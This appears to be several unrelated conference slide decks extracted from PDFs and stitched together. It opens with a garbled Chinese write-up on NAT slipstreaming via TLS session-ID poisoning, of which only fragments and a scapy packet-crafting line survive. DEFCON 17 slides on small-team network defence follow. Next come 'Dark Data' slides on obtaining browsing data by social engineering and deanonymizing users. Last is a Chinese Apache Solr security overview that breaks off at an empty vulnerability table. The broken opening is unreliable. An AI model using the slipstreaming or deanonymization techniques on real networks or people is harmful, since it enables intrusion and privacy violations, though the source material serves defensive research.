2.
3. TCP PAYLOAD
4. PORTEPRT
5.
6. 21
1. ESTABLISHED
2. tcp payload\n
3.
4. 21
\n
helpfind_pattern
seq\nseqseq
flagfind_pattern
seqmsstcp
payloadseq
tcp
seqseq1lenpayloadack
nf_contrack_ftpseqlen(payload)seq1len
payloadseq
0x03 post
ftph323tcp
tcp window
tcp window
windowwindowackseqftp
window50.
window
tcpsyn ackwindow=50scapy
TCP_SYNACK = TCP(window=50,sport=21, dport=ValueOfPort, flags="SA", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)])
post
0x02 tls sessionid
wendellideawhen tls hack you
https://github.com/jmdx/TLS-poison/
get
urlwindowftpurl
httpstlssessionidget
1. httpstls sessionid
2. sessionidpayload
3. sessionid
4.
5. sessionidtls
6. sessionid
7. tcp windowsessionid
0x03
tlsdemo
1. scapytcpack
2. https://github.com/tlsfuzzer/tlslite-ng wendellpytls
pydemo
https
1. tlslite-nghttps
2. tlslite-ngpayloadsessionid
tlslite/tlsconnection.py
httpshttpspayload
302scapy
windowsyn+ackackpayload
0a
payload
clienthelloclient hello
windowtcppayload
tls
0x04
ftpftp
nat slipstream
nat slipstreamnat smash | pdf |
Asymmetric Defense
Asymmetric Defense
How to Fight Off the NSA Red Team with Five People or
Less
Efstratios L. Gavas
Department of Marine Transportation
United States Merchant Marine Academy
DEFCON 17
Asymmetric Defense
Outline
Introduction
What is the Point?
About the USMMA
About the CDX
Network Design
Overview of Network Design
Quick Guides
Operating Systems
Tools
Network
Application Servers
FreeBSD
Asymmetric Defense
Introduction
What is the Point?
Who should listen?
These are not solutions for everyone
▶ Small shops with smaller budgets
▶ Limited resources
▶ Unreasonable expectations
Asymmetric Defense
Introduction
What is the Point?
What I hope you take away
▶ Simplicity is the only way to save yourself
▶ If you don’t understand it – it is not secure!
▶ Don’t be afraid of your system
Asymmetric Defense
Introduction
About the USMMA
What is the USMMA?
No, they are not Marines (mostly)
▶ Established to train merchant marine officers
▶ Part of the Department of Transportation
▶ The folks that operate those HUGE ships
▶ Smallest of the five US undergraduate service academies
▶ The one you have not heard of
▶ Things they are NOT:
▶ Navy, Coast Guard, Marines, normal . . .
▶ They may become one of the above (except normal)
Asymmetric Defense
Introduction
About the CDX
What is the CDX?
▶ A week-long, annual information security event for students
from various military institutions
▶ Air Force Institute of Technology (AFIT)
▶ Naval Postgraduate School (NPS)
▶ Royal Military College of Canada (RMC)
▶ United States Air Force Academy (USAFA)
▶ United States Coast Guard Academy (USCGA)
▶ United States Merchant Marine Academy (USMMA)
▶ United States Military Academy (USMA)
▶ United States Naval Academy (USNA)
Asymmetric Defense
Introduction
About the CDX
What is the CDX?
▶ Each team is given a mock budget to secure a poorly
configured/compromised network
▶ Email, Instant Messaging, Database and Web Servers,
Workstations, and a Domain Controller
▶ Administrate network while under live-attacks from NSA
Red Team
▶ Deal with exercise “injects”
▶ Forensics, help-desk requests, DNS and network
reconfigurations
▶ Reporting requirements
Asymmetric Defense
Network Design
Overview of Network Design
Review of USMMA Network Design
Keep It Simple Sailor
Asymmetric Defense
Network Design
Overview of Network Design
How They Came to the Design
▶ Cost Trade-Offs
▶ Administrative Trade-Offs
▶ Monitoring Trade-Offs
▶ Mistakes Made
▶ Last Minute Course Corrections
Asymmetric Defense
Quick Guides
Operating Systems
Learn multiple OS’es
Variety is good
▶ Lots of OS’es for lots of different jobs
▶ Ubuntu, FreeBSD, OpenBSD, Solaris, MacOS, DSL. . .
▶ Look at the NSA guides for some secure configuration
▶ www.nsa.gov/ia/guidance/security_configuration_guides/
Asymmetric Defense
Quick Guides
Operating Systems
Learn about multiple OS’es
But you can’t forget about Windows
▶ Use Group Policies
▶ Don’t get carried away with Group Policies
▶ Vista is OK. . . for security
Asymmetric Defense
Quick Guides
Tools
A Simple Tool is a Useful Tool
▶ SysInternals
▶ Firewall/IDS
▶ Internal Firewall, Core Force
▶ Anti-virus Scanner
▶ Ad-Aware, AVG (don’t go scan crazy)
▶ Pass-phrases vs passwords
Asymmetric Defense
Quick Guides
Network
Layout of the Network
Logical and Physical
▶ VLANs or,
▶ Real LANs
This option exist for small networks
Asymmetric Defense
Quick Guides
Network
Firewall/Gateway Applications
Survey of Firewall/Gateway Applications
▶ m0n0wall
▶ IPCop
▶ Untangle
▶ pfSense
Asymmetric Defense
Quick Guides
Application Servers
Application Server Tools
Survey of Application Server Tools
▶ eBox
▶ Webmin
▶ Untangle
Asymmetric Defense
Quick Guides
FreeBSD
Don’t be Afraid of FreeBSD
Boris Kochergin teaching us how to fish...
Asymmetric Defense
Quick Guides
FreeBSD
Using FreeBSD for routing
FreeBSD vs m0n0wall
▶ NAT
▶ VLANs
▶ pf AND ipfw
Asymmetric Defense
Quick Guides
FreeBSD
Using FreeBSD for Application Servers
FreeBSD vs eBox
▶ Email
▶ Webserver
▶ Database
▶ Jabber
Asymmetric Defense
Summary
Summary
With a small team, and a limited budget, simplicity is critical.
▶ Use the simplest possible security, but no simpler.
▶ Remember, if you don’t understand it – it is not secure!
▶ Security is about exploration. Jump in, and don’t panic.
▶ Final Words
▶ If you hack boats, or students, contact me
(gavase{at}usmma[.]edu)
▶ Suggestions welcome | pdf |
Dark Data
Svea Eckert – Andreas Dewes
Who we are
Svea Eckert
Journalist NDR/ ARD
@sveckert
@japh44
Andreas Dewes
(data) scientist
Why we are here
“US Senate voted to eliminate broadband privacy rules
that would have required ISPs to get consumers' explicit
consent before selling or sharing Web browsing data (...)“
3/23/2017
https://arstechnica.com
What does that mean
You can see
everything
–
S*#t!
ARD, Panorama, 03.11.2016
ARD, Panorama, 03.11.2016
ARD, Panorama, 03.11.2016
I don‘t know, why I
was searching for
“Tebonin” at that
time.
This is really bad to
see something like
this – especially if it is
connected with my
own name.
More members of parliament and their employees
Employee of Helge Braun, CDU – Assistant Secretary of the German Chancellor
How we did it – the “hacking” part
Social engineering
What we have discovered
14 days (live) access
3 million (German) User Ids
Browsing data for one month
cat *.csv | grep "%40polizei.de"
Autoscout Webseite
Sehr geehrte Damen und Herren, im Rahmen eines hier bearbeiteten
Ermittlungsverfahrens wegen Computerbetrug (Aktenzeichen) benötige ich
gem. § 113 TKG i.V.m. § 100j StPO eine Auskunft zu Bestandsdaten zu
folgender IP-Adresse: xxx.xxx.xxx.xxx Zeitstempel: xx.xx.2016, 10:05:31
MESZ
Die Daten werden für die Ermittlung des Täters benötigt. Bitte übersenden Sie
Ihre Antwort per Email an die Adresse
[email protected] oder per Telefax.
Vorname Nachname
Kriminalhauptkommissar
Kriminalpolizeidirektion, Ort
CyberCrime
Telefonnummer
Ladies and Gentlemen, because of an investigation concerning computer fraud
(file number), which I have dealt with here, § 113 TKG i.V.m. § 100j StPO I need
information on following IP address: xxx.xxx.xxx.xxx Time stamp: xx.xx.2016,
10:05:31 CEST
The data is needed to identify the offender. Please send your answer by e-mail
to the following address
[email protected] or by fax.
first name
Last Name
Detective Chief Place of county
Cybercrime
phone number
Where do I find tilde on my keyboard
What is IP 127.0.0.1
Who did this
Browser Plugins
Test in virtual machine
Test
Uninstalled Ad-Ons
Suspected WOT (Web of Trust)
[DATUM] 11:15:04 http://what.kuketz.de/
[...]
[DATUM] 15:49:27 https://www.ebay-kleinanzeigen.de/p-anzeige-bearbeiten.html?adId=xxx
[DATUM] 13:06:23 http://what.kuketz.de/
[...]
[DATUM] 11:22:18 http://what.kuketz.de/
[DATUM] 14:59:30 http://blog.fefe.de/
[...]
[DATUM] 14:59:36 http://what.kuketz.de/
[DATUM] 14:59:44
https://www.mywot.com/en/scorecard/what.kuketz.de?utm_source=addon&utm_content=rw-viewsc
[...]
[DATUM] 13:48:24 http://what.kuketz.de/
[...]
test by Mike Kuketz / www.kuketz-blog.de
How does deanonymization work?
...
anonymized user data
public / external personal data
User 1
User 2
User N
Identifier
(e.g. name)
"Instant" deanonymization via unique URL
Combinatorial deanonymization
https://www.cs.cornell.edu/~shmat/shmat_oak08netflix.pdf
Netflix Data vs. IMDB Data
Provided anonymized
ratings associated with user name / real name
Our data set
3.000.000.000
9.000.000
3.000.000
URLs
(insufficiently anonymized)
Domains
Users
m
Frequency analysis of domains
▪ We remove
everything but the
domain and user Id
▪ „Did this user visit
this domain?"
(yes / no)
▪ We investigate how
easy it is to
reidentify a user
given his/her
domain data
▪ We only look at
users that have
visited at least ten
domains
domain popularity rank
number of URLs in domain
experimental data
Let‘s categorize our users
...
...
...
...
...
Domains
Users
=> sparsely populated matrix with 9.000.000 x 1.000.000 entries
Algorithm
▪ Generate user/domain matrix M
▪ Generate vector v with information
about visited domains
▪ Multiply M·v
▪ Look for best match
M = (...)
w = M·v
i = argmax (w)
How unique am I?
15.561
1.114.408
www.gog.com
kundencenter.telekom.de
banking.sparda.de
11
367
1
handelsblatt.com
How well does this work?
Top-200 domains are already sufficient to identify
a large fraction of our users
number of top domains used for analysis
median of rank of correct user
But how can public information be extracted?
Three examples
Twitter
• We use the Twitter API to
download tweets from the
relevant time period (one
month)
• We extract URLs from the
tweets and generate the
associated domain by
following the links
• We feed the domain
information into our algoritm
Visited
Websites
github.com (2.584.681)
www.change.org (124.152)
fxexperience.com (394)
community.oracle.com (5161)
paper.li (2689)
javarevisited.blogspot.de (525)
www.adam-bien.com (365)
rterp.wordpress.com (129)
Gotcha!
Examples
users (arbitrarily sorted)
number of matching domains
Seemingly harmless identifiers can betray you
https://www.youtube.com/watch?v=DLzxrzFCyOs
Youtube
▪ We download public playlists
from users (often linked via
Google+)
▪ We extract the video IDs using
the Youtube API
▪ We feed the resulting (full)
URLs into our algorithm (this
time with full URL info)
02Zm-Ayv-PA
18rBn4heThI
2ips2mM7Zqw
2wUvlTUi8kQ
34Na4j8AVgA
3VVuMIB2hC0
4fXvJHrbUTA
4ulaGjwiIbo
5BzkbSq7pww
5RDSkR8_AQ0
680R1Gq2YYU
6IHq9yv_qis
8d5QEWdHchk
...
Gotcha!
Example
Video-IDs:
users (arbitrarily sorted)
number of matching videos in profile
Geo-based
identification
▪ We extract geo-
data from Google
Maps URLS (i.e.
what coordinate
was the user
looking at)
Google
Maps
▪ Ratings and photos are
often publicly available
(thanks again,
Google+)
▪ Locations of interest
could also be extracted
from social media
accounts
▪ A few data points are
already enough to
identify you
Can I hide in my data by generating noise?
(e.g. via random page visits)
Usually not
¯\_(ツ)_/¯
argmax ||M·v|| is robust against isolated (additive) perturbation
Why use extensions for tracking?
tracking server
Analysis of data points per extension
95 % of the data comes
from only 10 extensions.
Many more are spying on
their users, but have a
small installation base.
Up to 10.000 extension
versions affected (upper
bound analysis via
extension ID)
rank of extension
number of data points from extension
Behavior analysis of chrome extensions
(via Selenium Webdriver + Docker)
plugin that behaves suspiciously
number of extension (arbitrarily sorted)
Number of requests made by extension
(How) can I protect myself?
Rotating proxy servers (n >> 1)
e.g. TOR or a VPN with rotating exit
nodes
Client-side blocking of trackers
Takeaways
Often, only a few external
data points (<10) are suffcient
to uniquely identify a person.
The increase in publicly available
information on many people
makes de-anonymization via
linkage attacks easiert than ever
before.
High-dimensional, user-related data
is really hard to robustly anonymize
(even if you really try to do so).
Special thanks to
Kian Badrnejad, NDR
Jasmin Klofta, NDR
Jan Lukas Strozyk, NDR
Martin Fuchs @wahlbeobachter
Stefanie Helbig
Mike Kuketz, kuketz-blog.de
Many anonymous sources and contributors
TV shows ARD Panorama, Panorama3 und ZAPP
http://daserste.ndr.de/panorama/archiv/2016/Nackt-im-Netz-Intime-Details-von-Politikern-im-Handel,nacktimnetz110.html | pdf |
副本 Apache Solr 组件安全概览
⼀、组件概述
1.关键词
企业级全⽂检索服务器、基于Lucene
2.⼀些名词
(1) 数据
结构化数据,与非结构化数据
结构化数据: 用表、字段表示的数据 数据库适合结构化数据的精确查询
半结构化数据: xml 、html
非结构化数据: 文本、文档、图片、音频、视频等
(2) Document
被索引的对象,索引、搜索的基本单元,⼀个Document由多个字段Field构成
Field
字段名name
字段值value
字段类型type FieldType(这个fieldtype也有很多属性主要两个是name 以及 class ⽤来存放该
类型值的类名),Field中包含分析器(Analyzer)、过滤器(Filter)
(3) 索引
对列值创建排序存储,数据结构={列值、行地址} ,Luncene或者说Solr的索引的创建过程其
实就是分词、存储到反向索引中
输入的是苍老师,想要得到标题或内容中包含“苍老师”的新闻列表
(4) 搜索引擎
区别于关系数据库搜索引擎专门解决大量结构化、半结构化数据、非结构化文本类数据的实时
检索问题。 这种类型的搜索实时搜索数据库做不了。
(5) 搜索引擎工作原理
1、从数据源加载数据,分词、建立反向索引
2、搜索时,对搜索输入进行分词,查找反向索引
3、计算相关性,排序,输出
(5) zookeeper
zk是分布式系统中的⼀项协调服务。solr将zk⽤于三个关键操作:
1、集中化配置存储和分发
2、检测和提醒集群的状态改变
3、确定分⽚代表
(7) Lucene
一套可对大量结构化、半结构化数据、非结构化文本类数据进行实时搜索的专门软件。最早应
用于信息检索领域,经谷歌、百度等公司推出网页搜索而为大众广知。后又被各大电商网站采
用来做网站的商品搜索。现广泛应用于各行业、互联网应用。
核心构成:数据源(存储的数据)、分词器(英文比较容易,中文两个常用的 IKAnalyzer、
mmseg4j主谓宾等)、反向索引(倒排索引)、相关性计算模型(例如 出现次数这个算简单
的,复杂点的 可能就会加上权重,搜索引擎会提供一种或者多种)
(8) Solr中的Core
运⾏在Solr服务器中的具体唯⼀命名的、可管理、可配置的索引,⼀台Solr可以托管⼀个或多
个索引。solr的内核是运⾏在solr服务器中具有唯⼀命名的、可管理和可配置的索引。⼀台solr
服务器可以托管⼀个或多个内核。内核的典型⽤途是区分不同模式(具有不同字段、不同的处
理⽅式)的⽂档。
内核就是索引,为什么需要多个?因为不同的⽂档拥有不同的模式(字段构成、索引、存储⽅
式),商品数据和新闻数据就是两类完全不同的数据,这就需要两个内核来索引、存储它们。
每个内核都有⼀个 内核实例存放⽬录、内核索引数据存放⽬录、内核配置⽂件
(solrconfig.xml)、内核模式⽂件(schema.xml)
(9) Solr中的schema
包含整个架构以及字段和字段类型。⽤来告诉solr,被索引的⽂档由哪些Field组成。让solr知
道集合/内核包含哪些字段、字段的数据类型、字段该索引存储。
conf/managed-schema 或者 schema.xml
(10) solrconfig.xml
此⽂件包含与请求处理和响应格式相关的定义和特定于核⼼的配置,以及索引,配置,管理内
存和进⾏提交。内核配置⽂件,这个是影响Solr本身参数最多的配置⽂件。索引数据的存放位
置,更新,删除,查询的⼀些规则配置
(11) collection 集合
⼀个集合由⼀个或多个核⼼(分⽚)组成,SolrCloud引⼊了集合的概念,集合将索引扩展成不
同的分⽚然后分配到多台服务器,分布式索引的每个分⽚都被托管在⼀个solr的内核中(⼀个内
核对应⼀个分⽚呗)。提起SolrCloud,更应该从分⽚的⻆度,不应该谈及内核。
(12) Solr.xml
它是$ SOLR_HOME⽬录中包含Solr Cloud相关信息的⽂件。 要加载核⼼,Solr会引⽤此⽂
件,这有助于识别它们。solr.xml ⽂件定义了适⽤于全部或多个内核的全局配置选项
(13) core.properties
代表⼀个核⼼,为每个核⼼定义特定的属性,例如其名称、核⼼所属的集合、模式的位置以及
其他参数
(14) Solr配置集 configset
⽤于实现多个不同内核之间的配置共享
(15) requestHandler(solrconfig.xml)
请求处理程序,定义了solr接收到请求后该做什么操作。
Solr中处理外部数据都是通过http请求,对外提供http服务,每类服务在solr中都有对应的
request handler接收处理数据,solr中有定义了很多内置的请求处理程序,但是我们也可以⾃
⼰定义,在conf/solrconfig.xml中配置
在 conf/solrconfig.xml中,requestHandler的配置就像我们在web.xml中配置servlet-
mapping(或spring mvc 中配置controller 的requestMap)一样:配置该集合/内核下某
个请求地址的处理类
示例 <requestHandler name=“/update" class="solr.UpdateRequestHandler" />
(16) Solr中的 ⽂档、字段、字段分析、模式、分析器、标记器、过滤器
参阅中⽂⽂档
https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html
https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html
3.⼏个重要配置⽂件的详解
1.Solr.xml
在独⽴模式下,solr.xml必须驻留在solr_home(server/solr)。在SolrCloud模式下,将从
ZooKeeper加载solr.xml(如果它存在),回退到solr_home。
solr.xml ⽂件定义了适⽤于全部或多个内核的全局配置选项。
<solr>标签是根元素
adminHandler 属性,solr默认使⽤org.apache.solr.handler.admin.CoreAdminHandler
collectionsHandler ⾃定义CollectingHandler的实现
infoHandler ⾃定义infoHandler实现
coreLoader 指定分配给此内核的线程数
coreRootDirectory 指定$SOLR_HOME
sharedLib 所有内核共享公共库⽬录 此⽬录任何jar⽂件都将被添加到Solr插件的搜索路径
中
shareSchema 此属性为true的情况下,共享IndexSchema对象
configSetBaseDir 指定configSets⽬录 默认为$SOLR_HOME/configsets
<solrcloud> 定义了与SolrCloud相关的参数
distribUpdateConnTimeout 设置集群的connTimeout
distribUpdateSoTimeout 设置集群的socketTime'out
host 设置访问主机名称
hostContext url上下⽂路径
hostPort 端⼝
zkClientTimeout 连接到ZookKeeper服务器的超时时间
<logging>
class 属性 ⽤于记录的class类,相应的jar必须存在
enable 是否启⽤⽇志功能
<shardHandlerFactory>分⽚相关
<metrics> 报告相关
2.core.properties
简单的key=value,可以这么理解,⼀个core.properties 就代表⼀个core,允许即时创建,⽽
不⽤重启Solr,配置⽂件包含以下属性:
name core的名称
config core的配置⽂件名称 默认为solrconfig.xml
schema 核⼼架构⽂件名称 默认为schema.xml
dataDir core的数据⽬录 可以是据对路径 也可以是相对于instanceDir的路径
configSet configset可⽤于配置内核
properties 这个core的⽂件名称 可以是绝对路径也可以是相对路径
loadOnstartup true Solr启动时,会加载这个核⼼
ulogDir ⽇志的路径
collection 是SolrCloud的⼀部分
3.Schema.xml
略
4.Solrconfig.xml
这个⽂件可以说,在功能上包含了⼀个core处理的全部配置信息
<luceneMatchVersion> 指定Luncene版本
<dataDir> core的data⽬录 存放当前core的idnex索引⽂件和tlog事务⽇志⽂件
<directoryFactory> 索引存储⼯⼚ 配置了⼀些存储时的参数 线程等
<codeFactory> 编解码⽅式
<indexConfig> 配置索引属性,主要与Luncene创建索引的⼀些参数,⽂档字段最⼤⻓
度、⽣成索引时INdexWriter可使⽤最⼤线程数、Luncene是否允许⽂件整合、buffer⼤
⼩、指定Lucene使⽤哪个LockFactory等
<updateHander> 更新处理器 更新增加Document时的update对应什么处理动作在这⾥配
置,在这⾥也可以⾃定义更新处理器
以及查询的相关配置
<requestDispatcher> 请求转发器 ⾃定义增加在这⾥配置
<requestParses> 请求解析器 配置solr的请求解析⾏为
<requestHandler> 请求处理器 solr通过requestHandler提供webservice功能,通过http
请求对索引进⾏访问 可以⾃定义增加,在这⾥配置
4.概述
建⽴在Lucene-core之上,Luncene是⼀个全⽂检索的⼯具包,它不是⼀个完整的引擎,Solr
将它打包成了⼀个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有⼀个
后台管理界⾯。所以,它既然是基于Luncene的,所以他的核⼼功能逻辑就应该和Luncene⼀
样,给它⼀个Docunment,Solr进⾏分词以及查找反向索引,然后排序输出。
Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。
您在所有信息中提供的内容称为索引或更新。当你问⼀个问题时,它被称为查询。
在⼀些⼤型⻔户⽹站、电⼦商务⽹站等都需要站内搜索功能,使⽤传统的数据库查询⽅式实现
搜索⽆法满⾜⼀些⾼级的搜索需求,⽐如:搜索速度要快、搜索结果按相关度排序、搜索内容
格式不固定等,这⾥就需要使⽤全⽂检索技术实现搜索功能。
Apache Solr 是⼀个开源的搜索服务器。Solr 使⽤ Java 语⾔开发,主要基于 HTTP 和
Apache Lucene 实现。Lucene 是⼀个全⽂检索引擎⼯具包,它是⼀个 jar 包,不能独⽴运
⾏,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进⾏存储的。NoSQL
特性和丰富的⽂档处理(例如Word和PDF⽂件)。每个⽂档由⼀系列的 Field 构成,每个
Field 表示资源的⼀个属性。Solr 中的每个 Document 需要有能唯⼀标识其⾃身的属性,默认
情况下这个属性的名字是 id,在 Schema 配置⽂件中使⽤:<uniqueKey>id</uniqueKey>进
⾏描述。 Solr是⼀个独⽴的企业级搜索应⽤服务器,⽬前很多企业运⽤solr开源服务。原理⼤
致是⽂档通过Http利⽤XML加到⼀个搜索集合中。
Solr可以独⽴运⾏,打包成⼀个war。运⾏在Jetty、Tomcat等这些Servlet容器中,Solr索引
的实现⽅法很简单,⽤ POST ⽅法向Solr服务器 发送⼀个描述
Field 及其内容的XML⽂档,Solr根据xml⽂档添加、删除、更新索引。Solr搜索只需要发送
HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进⾏解析,组织⻚⾯布局。
Solr不提供构建UI的功能,Solr提供了⼀个管理界⾯,通过管理界⾯可以查询Solr的配置和运
⾏情况。
中⽂⽂档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html
3.使⽤范围及⾏业分布
业界两个最流⾏的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的⼀个顶级开源
项⽬。不少互联⽹巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使⽤
Solr。
fofa搜索公⽹资产 ⼀万 app="APACHE-Solr"
GitHub Star数量 3.8k
4.重点产品特性
默认全局未授权,多部署于内⽹,内置zk服务
不可⾃动升级,需要⼿动升级修复漏洞
⼆、环境搭建、动态调试
Solr 所有版本下载地址 http://archive.apache.org/dist/lucene/solr/
1.sorl-4.2.0 环境搭建
1.1 环境搭建
下载solr-4.2.0.zip⽂件,解压,C:\Solr\solr-4.2.0\example\start.jar 启动
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar
start.jar
1.2 动态调试
新建idea项⽬
讲solr⽬录下所有jar包导⼊ lib⽬录下 add as library
配置远程调试
断点成功停住
当然也可以下载solr源码,idea直接打开,配置Remote,远程调试,看源码总是正规的嘛
2.Solr较⾼版本
2.1 环境搭建
⼤体同上,只不过启动时,没有了start.jar 改为bin⽬录下的solr.bat
PS:这⾥注意⼀点,需要jdk8及以上 以及 solr.cmd -f -e dih 加载example 然后solr stop -p
8983 再启动,加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞复现不
出来
2.2 动态调试
下载源码,配置Remote即可
./solr.cmd -f -a "-
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port
8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
1
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
2
solr.cmd -f -a "-
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port
8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"
1
2.3 PS Cloud模式下的 debug
创建⼀个新的核⼼
solr.cmd -c -f -a "-Xdebug -
Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
1
2
solr.cmd -c -f -a "-Xdebug -
Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
3
4
调试solr的启动过程
5
java -Xdebug -
Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar
start.jar --module=http
6
在此感谢Whippet师傅!
三、源码分析
1.Apache Solr架构
(1) Request Handler
Solr ⽤来处理http请求处理程序的模块,⽆论是api⼜或者是web前台的,这也是我们漏洞挖
掘时需要主要关注的部分
(2) Search Component
Solr的搜索组件,提供搜索功能服务。
(3) Query Parser
Solr查询解析器解析我们传递给Solr的查询,并验证查询是否存在语法错误。 解析查询后,它
会将它们转换为Lucene理解的格式。
(4) Response Writer
Solr处理响应的功能模块,是为⽤户查询⽣成格式化输出的组件。Solr⽀持XML,JSON,
CSV等响应格式。对于每种类型的响应,都有不同的响应编写器。
(5) Analyzer / tokenizer
Lucene以令牌的形式识别数据。 Apache Solr分析内容,将其划分为令牌,并将这些令牌传递
给Lucene。Apache Solr中的分析器检查字段⽂本并⽣成令牌流。标记⽣成器将分析器准备的
标记流分解为标记。
(6) Update Request Processor
每当我们向Apache Solr发送更新请求时,请求都通过⼀组插件(签名,⽇志记录,索引)运
⾏,统称为 更新请求处理器 。此处理器负责修改,例如删除字段,添加字段等
2.⽬录结构
1.运⾏⽬录结构
├─bin ⼤量的Solr控制台管理⼯具存在该⽬录下
├─contrib 包含⼤量关于Solr的扩展
│ ├─analysis-extras 该⽬录下⾯包含⼀些相互依赖的⽂本分析组件
│ ├─clustering 该⽬录下有⼀个⽤于集群检索结果的引擎
│ ├─dataimporthandler DIH组件,该组件可以从数据库或者其他数据源导⼊数据到Solr中
│ ├─dataimporthandler-extras 包含了对DIH的扩展
│ ├─extraction 集成Apache Tika,⽤于从普通格式⽂件中提取⽂本
│ ├─jaegertracer-configurator
│ ├─langid 该组件使得Solr拥有在建索引之前识别和检测⽂档语⾔的能⼒
│ ├─ltr
│ ├─prometheus-exporter
│ └─velocity 包含⼀个基于Velocity模板语⾔简单检索UI框架
├─dist Solr的核⼼JAR包和扩展JAR包。当我们试图把Solr嵌⼊到某个应⽤程序的时候会⽤到核⼼JAR包。
│ ├─solrj-lib 包含构建基于Solr的客户端时会⽤到的JAR包
│ └─test-framework 包含测试Solr时候会用到的JAR包
├─docs Solr文档
├─example Solr的简单示例
│ ├─cloud
│ ├─example-DIH
│ ├─exampledocs
│ ├─files
│ └─films
├─licenses 各种许可和协议
└─server 本地把Solr作为服务运行的必要文件都存放在这里
├─contexts 启动Solr的Jetty网页的上下文配置
├─etc Jetty服务器配置文件,在这里可以把默认的8983端口改成其他的
├─lib Jetty服务器程序对应的可执行JAR包和响应的依赖包
│ └─ext
├─logs 日志将被输出到这个文件夹
├─modules http\https\server\ssl等配置模块
├─resources 存放着Log4j的配置文件
├─scripts Solr运行的必要脚本
│ └─cloud-scripts
├─solr 运行Solr的配置文件都保存在这里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用
SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里 以及
configsets等
│ ├─.system_shard1_replica_n1
│ ├─aaa_shard1_replica_n1
│ ├─configsets
│ │ ├─sample_techproducts_configs
│ ├─filestore
│ ├─userfiles
│ └─zoo_data
│ └─version-2
├─solr-webapp 管理界面的站点就存放在这里
│ └─webapp
│ └─WEB-INF
└─tmp 存放临时文件
├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir
2.Solr Home⽬录结构
单例模式下
colud模式下
3.源码结构
├─bin Solr控制台管理⼯具存在该⽬录下
├─contrib 包含⼤量关于Solr的扩展 同安装⽬录中⼀样
├─core core的核⼼
│ └─src
│ ├─java.org.apache.solr
<solr-home-directory>
1
solr.xml
2
core_name1/
3
core.properties
4
conf/
5
solrconfig.xml
6
managed-schema
7
data/
8
core_name2/
9
core.properties
10
conf/
11
solrconfig.xml
12
managed-schema
13
data/
14
<solr-home-directory>/
1
solr.xml
2
core_name1/
3
core.properties
4
data/
5
core_name2/
6
core.properties
7
data/
8
│ │ ├─analysis ⽂本分析处理类,其中没有很多核⼼实现,主要调⽤了lucene重点的核⼼功
能
│ │ ├─api Solr对外提供给的API(两个版本)处理包
│ │ ├─client.solrj.embedded Solr中嵌⼊了jetty,这⾥存在Jetty的配置类以及嵌⼊式启
动类
│ │ ├─cloud Solr在cloud模式下云的的相关处理包,包含zk相关的处理类
│ │ ├─core core相关的处理包 solrcore solrinfo CoreDescriptor等
│ │ ├─filestore 文件处理包
│ │ ├─handler 请求程序处理包
│ │ │ ├─admin
│ │ │ ├─component
│ │ │ ├─export
│ │ │ ├─loader
│ │ │ ├─sql
│ │ │ └─tagger
│ │ ├─highlight solr高亮功能包
│ │ ├─index
│ │ ├─internal
│ │ ├─legacy
│ │ ├─logging ⽇志功能处理包
│ │ ├─metrics
│ │ ├─packagemanager
│ │ ├─parser 解析器包
│ │ ├─pkg
│ │ ├─query 查询功能处理
│ │ ├─request 请求前置处理 SolrQueryRequestBase在这⾥
│ │ ├─response 返回数据处理
│ │ ├─rest rest功能,包含restApi处理逻辑
│ │ ├─schema 模式定义
│ │ ├─search search功能程序处理包
│ │ │ ├─join
│ │ │ ├─mlt
│ │ │ ├─similarities
│ │ │ └─stats
│ │ ├─security 安全功能处理包
│ │ ├─servlet Servlet Filter Wrpper拓展处理
│ │ ├─spelling
│ │ ├─store
│ │ ├─uninverting
│ │ ├─update 字段索引更新处理逻辑
│ │ └─util 一些工具类
│ ├─resources
│ ├─test
│ └─test-files
├─dev-docs
├─docs
├─example 示例⽂件
│ ├─example-DIH
│ ├─exampledocs
│ ├─files
│ └─films
├─licenses 各种许可和协议
├─server 本地把Solr作为服务运行的必要文件都存放在这里
├─contexts 启动Solr的Jetty网页的上下文配置
├─etc Jetty服务器配置文件,在这里可以把默认的8983端口改成其他的
├─lib Jetty服务器程序对应的可执行JAR包和响应的依赖包
│ └─ext
├─logs 日志将被输出到这个文件夹
├─modules http\https\server\ssl等配置模块
├─resources 存放着Log4j的配置文件
├─scripts Solr运行的必要脚本
│ └─cloud-scripts
├─solr 运行Solr的配置文件都保存在这里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用
SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里 以及
configsets等
├─site
├─solr-ref-guide
├─solrj solr的客户端程序
└─webapp 管理界面的站点就存放在这里
4.启动过程
避免⽂章太⻓,放到这⾥了 https://xz.aliyun.com/t/9247
5.源码中核⼼类
避免⽂章太⻓,放到这⾥了 https://xz.aliyun.com/t/9248
6.Apache Solr中的路由
路由就直接根据 "/" 或者 ":" 写死了的,没有⼀点兼容性,看路由⽆⾮是想看对应哪些可以访
问的handler,直接去Plugins/Stats⾥看就⾏,⾥⾯对应了每个url的处理类
调试过程中⼀些关键位置
这⾥的58 是冒号:
反斜杠
下⾯是调试过程中的⼀些路由列表
四、漏洞相关
1.漏洞概览
1.1.漏洞列表
名称
编号
危害
